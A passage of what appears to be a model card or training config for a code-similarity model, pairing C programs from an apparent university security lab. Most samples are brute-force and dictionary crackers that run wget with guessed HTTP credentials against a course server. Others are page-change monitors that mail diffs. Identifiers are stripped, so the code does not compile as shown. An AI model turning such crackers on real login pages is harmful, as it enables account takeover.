\ = 1;\n int , end, time_var;\n\n = time();\n for ( i = 0 ;i<strlen();i++)\n\
|
| 172 |
+
\ {\n pass[0]=[i];\n for( j = 0 ;j<strlen();j++)\n {\n \
|
| 173 |
+
\ pass[1]=[j];\n for ( k = 0 ;k<strlen();k++)\n {\n\
|
| 174 |
+
\ fflush(stdin);\n pass[2]=[k];\n pass[3]='\\\
|
| 175 |
+
0';\n printf(\"%s\\n\",pass);\n\n sprintf(url,\"%s%s\
|
| 176 |
+
\ %s\",syscom,pass,http);\n hack = system(url);\n \
|
| 177 |
+
\ attempt++;\n if (hack == 0)\n {\n \
|
| 178 |
+
\ end = time();\n time_var = (end-);\n printf(\"\
|
| 179 |
+
\\nbr\tThe password is :%s\",pass);\n printf(\"\\nNo. of Attempts\
|
| 180 |
+
\ crack the password :%d\",attempt);\n printf(\"\\nTime taken\
|
| 181 |
+
\ crack the password = %lld sec\\n\",time_var/1000000000);\n \
|
| 182 |
+
\ exit(1);\n }\n }\n }\n }\n }\n\n"
|
| 183 |
+
- "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n\
|
| 184 |
+
#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{ int startTime,\
|
| 185 |
+
\ stopTime, final;\n int i,j,k;\n int pass,count=0;\n char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};\n\
|
| 186 |
+
\ char [4];\n char url1[100];\n char url2[100];\n\n startTime = time();\n\
|
| 187 |
+
\ for (i=0;i<=52;i++)\n {\n\n for (j=0;j<=52;j++)\n {\n\n\tfor(k=0;k<=52;k++)\n\
|
| 188 |
+
\n\t { \n\t count++;\n [0] = arr[i];\n\t [1] = arr[j];\n\t\
|
| 189 |
+
\ [2] = arr[k];\n\t [3] = '\\0';\n\n\n\t printf(\"Checking for the\
|
| 190 |
+
\ word :%s\\n\",);\n\t strcpy(url1 ,\"wget --http-user= --http-passwd=\");\n\
|
| 191 |
+
\t strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ \"\
|
| 192 |
+
);\n\t strcat(url1,);\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\
|
| 193 |
+
\t if (pass == 0)\n\t { \n printf(\"Success\\n\");\n\t\
|
| 194 |
+
\tprintf(\"Number of attempts = %d\\n\",count);\n\t stopTime = time();\n\
|
| 195 |
+
\n final = stopTime-startTime;\n\t\tprintf(\"The password for the\
|
| 196 |
+
\ user : %s\\n\",); \n printf(\" Cracked the password in %lld\
|
| 197 |
+
\ nanoseconds (%1f seconds) \\n\",final,(double)final/OneBillion);\n\t \
|
| 198 |
+
\ \n\t\texit(1);}\n\n\n\t }\n }\n\n }\n }\n\n\n"
|
| 199 |
+
- "#include<stdio.h>\n#include<stdlib.h>\n#include<ctype.h>\n\n\nint (int argc,\
|
| 200 |
+
\ char *argv[])\n{\n FILE *fp;\n \n while(1)\n { \n system(\"\
|
| 201 |
+
wget -p http://www.cs.rmit.edu./students\");\n \n \n \n system(\"\
|
| 202 |
+
mkdir Images\");\n \n if((fp=fopen(\"/home/s//SECAS02ANS/Images/file.txt\"\
|
| 203 |
+
,\"r\"))==NULL)\n { \n system(\"cd www.cs.rmit.edu./images | ls >\
|
| 204 |
+
\ /home/s//SECAS02ANS/Images/file.txt\");\n\t system(\"md5sum www.cs.rmit.edu./images/*.*\
|
| 205 |
+
\ > /home/s//SECAS02ANS/Images/file.txt\");\n\t fclose(fp);\n\t exit(0);\n \
|
| 206 |
+
\ }\n else\n { \n fp=fopen(\"/home/s//SECAS02ANS/Images/file.txt\"\
|
| 207 |
+
,\"r\");\n\t system(\"cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt\"\
|
| 208 |
+
);\n\t system(\"md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt\"\
|
| 209 |
+
);\n\t system(\"diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt\
|
| 210 |
+
\ | mail @cs.rmit.edu.\");\n\t system(\"mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images\"\
|
| 211 |
+
);\n\t fclose(fp);\n }\n \n \n \n system(\"mkdir Text\"\
|
| 212 |
+
);\n \n if((fp=fopen(\"/home/s//SECAS02ANS/Text/index.html\",\"r\"))==NULL)\n\
|
| 213 |
+
\ { \n system(\"cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text\"\
|
| 214 |
+
);\n\t exit(0);\n }\n else\n { \n \t fopen(\"/home/s//SECAS02ANS/Text/index.html\"\
|
| 215 |
+
,\"r\");\n\t system(\"diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html\
|
| 216 |
+
\ | mail @cs.rmit.edu.\");\n\t system(\"mv www.cs.rmit.edu./students/index.html\
|
| 217 |
+
\ /home/s//SECAS02ANS/Text\");\n\t fclose(fp);\n } \n \n \n\
|
| 218 |
+
\ \n sleep(86400);\n }\t \n return (EXIT_SUCCESS);\n}\n \n\
|
| 219 |
+
\t \n\t \t\n"
|
| 220 |
+
- source_sentence: "#include <string.h>\n#include <stdlib.h>\n#include <stdio.h>\n\
|
| 221 |
+
#include <fcntl.h>\n#include <unistd.h>\n#include <sys/wait.h>\n#include <sys/time.h>\n\
|
| 222 |
+
\n\n\nchar* joinMe(char* t, char* t2)\n{\n\tchar* result;\n\tint length = 0;\n\
|
| 223 |
+
\tint j = 0;\n\tint counter = 0;\n\t\n\tlength = strlen(t) + strlen(t2) + 1;\n\
|
| 224 |
+
\t\n\tresult = malloc(sizeof(char) * length);\n\t\n\t\n\tfor(j = 0; j<strlen(t);\
|
| 225 |
+
\ j++)\n\t{\n\t\tresult[j] = t[j];\n\t}\n\n\t\n\tfor(j = strlen(t); j<length;\
|
| 226 |
+
\ j++)\n\t{\n\t\tresult[j] = t2[counter];\n\t\tcounter++;\n\t}\n\t\n\t\n\tresult[length-1]\
|
| 227 |
+
\ = '\\0';\n\n\treturn result;\n}\n\n\nvoid check(char** smallcmd)\n{\n\tint pid\
|
| 228 |
+
\ = 0;\n\tint status;\n\n\t\n\tif( (pid = fork()) == 0)\n\t{\n\t\t\n\t\texecvp(smallcmd[0],smallcmd);\n\
|
| 229 |
+
\t}\n\telse\n\t{\n\t\t\n\t\twhile(wait(&status) != pid);\n\t}\n}\n\nint (void)\n\
|
| 230 |
+
{\n\tint i = 0, j = 0, k = 0;\n\tchar** smallcmd;\n\tchar* [] = {\"a\",\"b\",\"\
|
| 231 |
+
c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"\
|
| 232 |
+
p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\n\t\t\t\t\t\t\"x\",\"y\",\"z\"\
|
| 233 |
+
,\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\"\
|
| 234 |
+
,\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\n\t\t\t\t\t\t\"U\",\"V\",\"W\",\"\
|
| 235 |
+
X\",\"Y\",\"Z\"};\n\tint count = 0;\n\tFILE *myFile,*myFile3;\n\tint compare2;\n\
|
| 236 |
+
\tchar* myString;\n\tint length = 0;\n\tint start2, end2;\n\t\n\t\n\tmyString\
|
| 237 |
+
\ = malloc(sizeof(char) * 100);\n\tsmallcmd = malloc(sizeof(char *) * 8);\n\t\n\
|
| 238 |
+
\tsmallcmd[0] = \"/usr/local//wget\";\n\t\n\tsmallcmd[1] = \"--http-user=\";\n\
|
| 239 |
+
\tsmallcmd[2] = \"--http-passwd=\";\n\tsmallcmd[3] = \"-o\";\n\tsmallcmd[4] =\
|
| 240 |
+
\ \"logwget\";\n\tsmallcmd[5] = \"-nv\";\n\tsmallcmd[6] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
|
| 241 |
+
;\n\n\tprintf(\"---------------now trying Brute force attack-----------------\\\
|
| 242 |
+
n\");\n\tstart2 = time();\n\n\t\n\tfor(i = 0; i<52; i++)\n\t{\n\t\tsmallcmd[2]\
|
| 243 |
+
\ = joinMe(smallcmd[2],[i]);\n\t\tprintf(\"Checking %s\\n\",smallcmd[2]);\n\t\t\
|
| 244 |
+
check(smallcmd);\n\t\tcount++;\n\t\tmyFile = fopen(\"logwget\", \"r\");\n\t\t\
|
| 245 |
+
if (myFile != (FILE*) NULL)\n\t\t{\n\t\t\tfgets(myString,100,myFile);\n\t\t\t\
|
| 246 |
+
printf(\"%s\\n\",myString);\n\t\t\tif( strcmp(myString,\"Authorization failed.\\\
|
| 247 |
+
n\") != 0)\n\t\t\t{\n\t\t\t\t\n\t\t\t\tprintf(\"Passwd = %s\",smallcmd[2]);\n\t\
|
| 248 |
+
\t\t\tend2 = time();\n\t\t\t\tmyFile3 = fopen(\"log.txt\",\"a\");\n\t\t\t\tfprintf(myFile3,\"\
|
| 249 |
+
%s\",smallcmd[2]);\n\t\t\t\tfputs(\"\\nTime taken by Brute Force Attack \",myFile3);\n\
|
| 250 |
+
\t\t\t\tcompare2 = (end2-start2)/1000000000;\n\t\t\t\tfprintf(myFile3,\"%lld\"\
|
| 251 |
+
,compare2);\n\t\t\t\tfputs(\" seconds\\n\",myFile3);\n\t\t\t\tfputs(\"this took\
|
| 252 |
+
\ \",myFile3);\n\t\t\t\tfprintf(myFile3,\"%d\",count);\n\t\t\t\tfputs(\" attempts\\\
|
| 253 |
+
n\\n\",myFile3);\n\t\t\t\tfclose(myFile3);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t\t\
|
| 254 |
+
fclose(myFile);\n\t\t}\n\t\t\n\t\tsmallcmd[2] = \"--http-passwd=\";\n\t}\n\n\t\
|
| 255 |
+
\n\tfor(i = 0; i<52; i++)\n\t{\n\t\tfor(j = 0; j<52; j++)\n\t\t{\n\t\t\tsmallcmd[2]\
|
| 256 |
+
\ = joinMe(smallcmd[2],[i]);\n\t\t\tsmallcmd[2] = joinMe(smallcmd[2],[j]);\n\t\
|
| 257 |
+
\t\tprintf(\"Checking %s\\n\",smallcmd[2]);\n\t\t\tcheck(smallcmd);\n\t\t\tcount++;\n\
|
| 258 |
+
\t\t\tmyFile = fopen(\"logwget\", \"r\");\n\t\t\tif (myFile != (FILE*) NULL)\n\
|
| 259 |
+
\t\t\t{\n\t\t\t\tfgets(myString,100,myFile);\n\t\t\t\tprintf(\"%s\\n\",myString);\n\
|
| 260 |
+
\t\t\t\tif( strcmp(myString,\"Authorization failed.\\n\") != 0)\n\t\t\t\t{\n\t\
|
| 261 |
+
\t\t\t\t\n\t\t\t\t\tprintf(\"Passwd = %s\",smallcmd[2]);\n\t\t\t\t\tend2 = time();\n\
|
| 262 |
+
\t\t\t\t\tmyFile3 = fopen(\"log.txt\",\"a\");\n\t\t\t\t\tfprintf(myFile3,\"%s\"\
|
| 263 |
+
,smallcmd[2]);\n\t\t\t\t\tfputs(\"\\nTime taken by Brute Force Attack \",myFile3);\n\
|
| 264 |
+
\t\t\t\t\tcompare2 = (end2-start2)/1000000000;\n\t\t\t\t\tfprintf(myFile3,\"%lld\"\
|
| 265 |
+
,compare2);\n\t\t\t\t\tfputs(\" seconds\\n\",myFile3);\n\t\t\t\t\tfputs(\"this\
|
| 266 |
+
\ took \",myFile3);\n\t\t\t\t\tfprintf(myFile3,\"%d\",count);\n\t\t\t\t\tfputs(\"\
|
| 267 |
+
\ attempts\\n\\n\",myFile3);\n\t\t\t\t\tfclose(myFile3);\n\t\t\t\t\texit(0);\n\
|
| 268 |
+
\t\t\t\t}\n\t\t\t\tfclose(myFile);\n\t\t\t}\n\t\t\t\n\t\t\tsmallcmd[2] = \"--http-passwd=\"\
|
| 269 |
+
;\n\t\t}\n\t}\n\n\tfor(i = 0; i<52; i++)\n\t{\n\t\tfor(j = 0; j<52; j++)\n\t\t\
|
| 270 |
+
{\n\t\t\tfor(k = 0; k<52; k++)\n\t\t\t{\n\t\t\t\t\n\t\t\t\tsmallcmd[2] = joinMe(smallcmd[2],[i]);\n\
|
| 271 |
+
\t\t\t\tsmallcmd[2] = joinMe(smallcmd[2],[j]);\n\t\t\t\tsmallcmd[2] = joinMe(smallcmd[2],[k]);\n\
|
| 272 |
+
\t\t\t\tprintf(\"Checking %s\\n\",smallcmd[2]);\n\t\t\t\t\n\t\t\t\tcheck(smallcmd);\n\
|
| 273 |
+
\t\t\t\tcount++;\n\t\t\t\tmyFile = fopen(\"logwget\", \"r\");\n\t\t\t\tif (myFile\
|
| 274 |
+
\ != (FILE*) NULL)\n\t\t\t\t{\n\t\t\t\t\tfgets(myString,100,myFile);\n\t\t\t\t\
|
| 275 |
+
\tprintf(\"%s\\n\",myString);\n\t\t\t\t\tif( strcmp(myString,\"Authorization failed.\\\
|
| 276 |
+
n\") != 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\tprintf(\"Passwd = %s\",smallcmd[2]);\n\
|
| 277 |
+
\t\t\t\t\t\tend2 = time();\n\t\t\t\t\t\tmyFile3 = fopen(\"log.txt\",\"a\");\n\t\
|
| 278 |
+
\t\t\t\t\tfprintf(myFile3,\"%s\",smallcmd[2]);\n\t\t\t\t\t\tfputs(\"\\nTime taken\
|
| 279 |
+
\ by Brute Force Attack \",myFile3);\n\t\t\t\t\t\tcompare2 = (end2-start2)/1000000000;\n\
|
| 280 |
+
\t\t\t\t\t\tfprintf(myFile3,\"%lld\",compare2);\n\t\t\t\t\t\tfputs(\" seconds\\\
|
| 281 |
+
n\",myFile3);\n\t\t\t\t\t\tfputs(\"this took \",myFile3);\n\t\t\t\t\t\tfprintf(myFile3,\"\
|
| 282 |
+
%d\",count);\n\t\t\t\t\t\tfputs(\" attempts\\n\\n\",myFile3);\n\t\t\t\t\t\tfclose(myFile3);\n\
|
| 283 |
+
\t\t\t\t\t\texit(0);\n\t\t\t\t\t}\n\t\t\t\t\tfclose(myFile);\n\t\t\t\t}\n\t\t\t\
|
| 284 |
+
\t\n\t\t\t\tsmallcmd[2] = \"--http-passwd=\";\n\t\t\t}\n\t\t}\n\t}\n\n\treturn\
|
| 285 |
+
\ 1;\n}\n\n"
|
| 286 |
+
sentences:
|
| 287 |
+
- "#include <sys/time.h>\n#include <strings.h>\n#include <ctype.h>\n#include <stdio.h>\n\
|
| 288 |
+
#include <stdlib.h>\n\n\nint main()\n{\n\n system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\
|
| 289 |
+
);\n system(\"mkdir home\");\n system(\"mv www.cs.rmit.edu./images/*.* home/\"\
|
| 290 |
+
);\n system(\"mv www.cs.rmit.edu./students/*.* home/\");\n system(\"cd www.cs.rmit.edu./images\"\
|
| 291 |
+
);\n sleep(1);\n system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\
|
| 292 |
+
);\n system(\"mkdir second\");\n system(\"mv www.cs.rmit.edu./images/*.* second/\"\
|
| 293 |
+
);\n system(\"mv www.cs.rmit.edu./students/*.* second/\");\n system(\"cd www.cs.rmit.edu./images\"\
|
| 294 |
+
);\n system(\"diff home second > difference.txt\");\n system(\"mailx -s \\\
|
| 295 |
+
\"Difference in \\\" < difference.txt \");\n return 0;\n}\n"
|
| 296 |
+
- "\n\n\n#define _REENTRANT\n#include <sys/time.h>\n#include <sys/types.h>\n#include\
|
| 297 |
+
\ <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include\
|
| 298 |
+
\ <unistd.h>\n#include <errno.h>\n#include <ctype.h>\n#include <pthread.h>\n#include\
|
| 299 |
+
\ <signal.h>\n\n\n#define MAX_THREADS 1000\n#define MAX_COMBO \n#define false\
|
| 300 |
+
\ 0\n#define true 1\n\n\nstatic char *alphabet=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
|
| 301 |
+
;\nstatic char **combination=NULL;\nstatic char host[128];\n\n\npthread_mutex_t\
|
| 302 |
+
\ counter_lock = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER;\n\
|
| 303 |
+
pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER;\npthread_cond_t thread_ready\
|
| 304 |
+
\ = PTHREAD_COND_INITIALIZER;\n\n\nstatic int attempt_count=0;\nstatic int combo_entries=0;\n\
|
| 305 |
+
\nstatic struct timeval ;\nstatic struct timeval stop;\nstatic int thread_ready_indicator=false;\n\
|
| 306 |
+
static int thread_start_indicator=false;\nstatic int thread_count=0;\n\n\ntypedef\
|
| 307 |
+
\ struct range\n{\n int ;\n int ;\n}range;\n\n\nvoid *client(void *arg)\n{\n\
|
| 308 |
+
\ \n int i=0, status=1;\n range *= (struct range*)arg;\n\n \n char local_buffer[128];\n\
|
| 309 |
+
\n pthread_mutex_lock(&thread_lock);\n thread_ready_indicator=true;\n\n \n\
|
| 310 |
+
\ pthread_cond_signal(&thread_ready);\n\n \n while(thread_start_indicator==false)\
|
| 311 |
+
\ pthread_cond_wait(&start_hacking, &thread_lock);\n fflush(stdout);\n pthread_mutex_unlock(&thread_lock);\n\
|
| 312 |
+
\n \n for(i=->; i<=-> && i<combo_entries; i++)\n {\n \n sprintf(local_buffer,\n\
|
| 313 |
+
\ \"wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s\"\
|
| 314 |
+
,\n \"\", combination[i], host);\n\n \n status=system(local_buffer);\n\
|
| 315 |
+
\ \n\n \n if(status==0)\n {\n printf(\"\\n\\nusername: \\npassword:\
|
| 316 |
+
\ %s\\n\\n\", combination[i]);\n fflush(stdout);\n\n \n pthread_mutex_lock(&counter_lock);\n\
|
| 317 |
+
\n attempt_count++;\n gettimeofday(&stop, NULL);\n\n printf(\"\
|
| 318 |
+
About %d attempts were , which took %ld.%ld seconds complete.\\n\",\n \
|
| 319 |
+
\ attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));\n fflush(stdout);\n\
|
| 320 |
+
\n pthread_mutex_unlock(&counter_lock);\n\n \n exit(EXIT_SUCCESS);\n\
|
| 321 |
+
\ }\n else\n {\n \n pthread_mutex_lock(&counter_lock);\n \
|
| 322 |
+
\ attempt_count++;\n pthread_mutex_unlock(&counter_lock);\n }\n \
|
| 323 |
+
\ }\n pthread_exit(NULL);\n}\n\n\nchar *getNextCombination()\n{\n \n static\
|
| 324 |
+
\ int i=0;\n static int j=0;\n static int k=0;\n\n static int mode=1;\n char\
|
| 325 |
+
\ *word;\n\n\n \n\n if(i>51)\n {\n mode++; i=0; j=0; k=0;\n }\n\n \n \
|
| 326 |
+
\ if(mode==1)\n {\n char *word = calloc(mode, 1);\n word[0]=alphabet[i++];\n\
|
| 327 |
+
\ word[1]='\\0';\n return word;\n }\n\n \n if(mode==2)\n {\n if(j>51)\n\
|
| 328 |
+
\ {\n i++; j=0;\n }\n\n if(i>51)\n {\n mode++;\n i=0;\
|
| 329 |
+
\ j=0; j=0;\n }\n else\n {\n char *word = calloc(mode, 1);\n \
|
| 330 |
+
\ word[0]=alphabet[i];\n word[1]=alphabet[j++];\n word[2]='\\0';\n\
|
| 331 |
+
\ return word;\n }\n }\n\n \n if(mode==3)\n {\n if(k>51)\n {\n\
|
| 332 |
+
\ j++; k=0;\n }\n\n if(j>51)\n {\n i++; j=0;\n }\n\n \
|
| 333 |
+
\ if(i>51)\n {\n mode++;\n i=0; j=0; j=0;\n }\n else\n\
|
| 334 |
+
\ {\n char *word = calloc(mode, 1);\n word[0]=alphabet[i];\n \
|
| 335 |
+
\ word[1]=alphabet[j];\n word[2]=alphabet[k++];\n word[3]='\\\
|
| 336 |
+
0';\n return word;\n }\n }\n return NULL;\n}\n\n\nint main(int argc,\
|
| 337 |
+
\ char **argv)\n{\n \n int wait_status=0, i=0, j=0, num_threads=0;\n int partition=0,\
|
| 338 |
+
\ prev_min=0, prev_max=0;\n int len=0;\n char *word; range *;\n pthread_t tid[MAX_THREADS];\n\
|
| 339 |
+
\ int non_alpha_detected=0;\n\n \n if(argc<3)\n {\n puts(\"Incorrect usage!\"\
|
| 340 |
+
);\n puts(\"./brute num_threads url\");\n exit(EXIT_FAILURE);\n }\n\n \
|
| 341 |
+
\ \n strcpy(host, argv[2]);\n\n \n num_threads=atoi(argv[1]);\n\n \n combination\
|
| 342 |
+
\ = (char **)calloc(MAX_COMBO, sizeof(char *));\n\n printf(\"Process ID for the\
|
| 343 |
+
\ thread is: %d\\n\", getpid());\n printf(\"Creating brute-force dictionary\
|
| 344 |
+
\ ... \");\n \n \n while( (word=getNextCombination())!= NULL && i<MAX_COMBO)\n\
|
| 345 |
+
\ {\n combination[i]=calloc(strlen(word)+1, sizeof(char));\n strcpy(combination[i++],\
|
| 346 |
+
\ word);\n combo_entries++;\n }\n puts(\"\");\n j=0;\n\n \n partition=combo_entries/num_threads;\n\
|
| 347 |
+
\n \n if(partition==0)\n {\n puts(\"Reducing the number of threads match\
|
| 348 |
+
\ the number of words.\");\n num_threads=combo_entries;\n partition=1;\n\
|
| 349 |
+
\ }\n\n \n prev_min=0;\n prev_max=partition;\n i=0;\n\n memset(&, 0, sizeof(struct\
|
| 350 |
+
\ timeval));\n memset(&stop, 0, sizeof(struct timeval));\n\n \n while(i<num_threads\
|
| 351 |
+
\ && i<MAX_THREADS)\n {\n \n =malloc(sizeof(struct range));\n ->=prev_min;\n\
|
| 352 |
+
\ ->=prev_max;\n\n \n pthread_mutex_lock(&thread_lock);\n thread_ready_indicator=false;\n\
|
| 353 |
+
\ pthread_mutex_unlock(&thread_lock);\n\n \n if(pthread_create(&tid[i++],\
|
| 354 |
+
\ NULL, client, (void *))!=0) puts(\"Bad thread ...\");\n\n \n pthread_mutex_lock(&thread_lock);\n\
|
| 355 |
+
\ while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock);\n\
|
| 356 |
+
\ pthread_mutex_unlock(&thread_lock);\n\n \n prev_min+=partition+1;\n\
|
| 357 |
+
\n \n if(i==num_threads)\n {\n prev_max=combo_entries;\n }\n\
|
| 358 |
+
\ else\n {\n prev_max+=partition+1;\n }\n }\n\n \n gettimeofday(&,\
|
| 359 |
+
\ NULL);\n\n \n pthread_mutex_lock(&thread_lock);\n thread_start_indicator=true;\n\
|
| 360 |
+
\ pthread_mutex_unlock(&thread_lock);\n\n \n pthread_cond_broadcast(&start_hacking);\n\
|
| 361 |
+
\n \n printf(\"Created %d threads process %d passwords\\n\", num_threads, combo_entries);\n\
|
| 362 |
+
\ printf(\"Attacking host: %s\\n\", host);\n fflush(stdout);\n\n \n for(i=0;\
|
| 363 |
+
\ i<num_threads && i<MAX_THREADS; i++) pthread_join(tid[i], NULL);\n\n gettimeofday(&stop,\
|
| 364 |
+
\ NULL);\n\n \n puts(\"Could not determine the password for this site.\");\n\
|
| 365 |
+
\ printf(\"About %d attempts were , which took %ld.%ld seconds complete.\\n\"\
|
| 366 |
+
,\n attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));\n fflush(stdout);\n\
|
| 367 |
+
\n \n for(i=0; i<combo_entries; i++) (combination[i]);\n (*combination);\n\n\
|
| 368 |
+
\ return EXIT_SUCCESS;\n}\n\n"
|
| 369 |
+
- "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<strings.h>\n\
|
| 370 |
+
#include <ctype.h>\n#include <math.h>\n#include <sys/time.h>\n\nint\n()\n{\n\n\
|
| 371 |
+
\tint , end;\n\tFILE *fp;\n\tint i, j;\n\tchar \
|
| 372 |
+
\ input;\n\tchar password[30];\n\tint check;\n\
|
| 373 |
+
\n\tfloat total_time;\n\tint number;\n\t = time();\n\n\n\
|
| 374 |
+
\tif ((fp = fopen(\"words\", \"r\")) == NULL) {\n\t\tfprintf(stderr, \"Error :\
|
| 375 |
+
\ Failed open words for .\\n\");\n\t\treturn (EXIT_FAILURE);\n\t}\n\twhile ((input\
|
| 376 |
+
\ = fgetc(fp)) != EOF) {\n\t\tj = 0;\n\t\tfor (i = 0; i < 30; i++)\n\t\t\tpassword[i]\
|
| 377 |
+
\ = '\\0';\n\n\t\twhile(input != '\\n' ) {\n\n\t\t\tpassword[j] = input;\n\t\t\
|
| 378 |
+
\tj++;\n\t\t\tinput = fgetc(fp);\n\t\t\t\n\t\t\n\t\t}\n\n\n\t\tif (strlen(password)\
|
| 379 |
+
\ <= 3) {\n\t\t\tprintf(\"%s\\t\",password);\n\t\t\tfflush(stdout);\n\t\t\tcheck\
|
| 380 |
+
\ = SysCall(password);\n\t\t\tif (check == 0) {\n\t\t\t\tgetpid();\n\t\t\t\tend\
|
| 381 |
+
\ = time();\n\t\t\t\ttotal_time = (end - ) / 1e9;\n\t\t\t\tprintf(\"\\ntotal time_var\
|
| 382 |
+
\ = %f \", total_time);\n\t\t\t\tprintf(\"\\n\\nAvg getpid() time_var = %f usec\\\
|
| 383 |
+
n\", total_time);\n\t\t\t\tprintf(\"\\navg time_var %f / %d = %f\\n\", total_time,\
|
| 384 |
+
\ number, total_time / number);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t}\n\n\t}\n\n\t\
|
| 385 |
+
return (EXIT_SUCCESS);\n}\nint\nSysCall(char *password)\n{\n\tchar \
|
| 386 |
+
\ url1[255], url2[255], [255];\n\tint rettype;\n\trettype = 0;\n\t\
|
| 387 |
+
strcpy(url1, \"wget --non-verbose --http-user= --http-passwd=\");\n\tstrcpy(url2,\
|
| 388 |
+
\ \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n\tstrcat(, url1);\n\t\
|
| 389 |
+
strcat(, password);\n\tstrcat(, url2);\n\n\trettype = system();\n\t\n\tif (rettype\
|
| 390 |
+
\ == 0) {\n\t\tprintf(\"Successfully retrieved password: %s\\n\", password);\n\
|
| 391 |
+
\t\treturn 0;\n\t}\n\tstrcpy(, \"\");\n}\n"
|
| 392 |
+
- source_sentence: "#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\n\
|
| 393 |
+
FILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system(\"wget -p http://www.cs.rmit.edu./students\"\
|
| 394 |
+
);\n\n system(\"cd www.cs.rmit.edu./\");\n\n \n \n if(flag>0)\n\
|
| 395 |
+
\ {\n \n fin1=fopen(\"./watchtext/index.html\",\"r\");\n fin2=fopen(\"\
|
| 396 |
+
./watchtext/test2.txt\",\"r\");\n system(\"diff ./www.cs.rmit.edu./students/index.html\
|
| 397 |
+
\ ./watchtext/index.html | mail @cs.rmit.edu.\");\n system(\"cp ./www.cs.rmit.edu./students/index.html\
|
| 398 |
+
\ ./watchtext/index.html \");\n system(\"md5sum ./www.cs.rmit.edu./images/*.*\
|
| 399 |
+
\ > ./www.cs.rmit.edu./test2.txt\");\n system(\"diff ./www.cs.rmit.edu./test2.txt\
|
| 400 |
+
\ ./watchtext/test2.txt | mail @cs.rmit.edu.\");\n system(\"cp ./www.cs.rmit.edu./test2.txt\
|
| 401 |
+
\ ./watchtext/test2.txt\");\n system(\"rm ./www.cs.rmit.edu./test2.txt\");\n\
|
| 402 |
+
\ \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n\
|
| 403 |
+
\ {\n system(\"mkdir watchtext\"); \n if((fin1=fopen(\"./watchtext/index.html\"\
|
| 404 |
+
,\"r\"))==NULL)\n {\n system(\"cp ./www.cs.rmit.edu./students/index.html\
|
| 405 |
+
\ ./watchtext/index.html\");\n system(\"md5sum ./www.cs.rmit.edu./images/*.*\
|
| 406 |
+
\ > ./watchtext/test2.txt\");\n \n flag++;\n }\n \n } \n\
|
| 407 |
+
\ \n \n \n printf(\"Running every 24 hours\"); \n sleep(86400); \n\
|
| 408 |
+
\ \n}\n system(\"rmdir ./watchtext\"); \n} \n \n \n \
|
| 409 |
+
\ \n \n"
|
| 410 |
+
sentences:
|
| 411 |
+
- "#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n\
|
| 412 |
+
#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\t\
|
| 413 |
+
time_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\
|
| 414 |
+
\tchar add[100];\n\tstrcpy(add,\"wget --http-user= --http-passwd= -nv -o log\
|
| 415 |
+
\ http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\
|
| 416 |
+
\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\t\
|
| 417 |
+
printf(\"%c %c %c\\n\",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\
|
| 418 |
+
\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\
|
| 419 |
+
\t\t\tlog=fopen(\"log\",\"r\");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\
|
| 420 |
+
\t\t\tprintf(\"%s\",s);\t\t\n\t\t\t\tif(strcmp(s,\"Authorization failed.\\n\"\
|
| 421 |
+
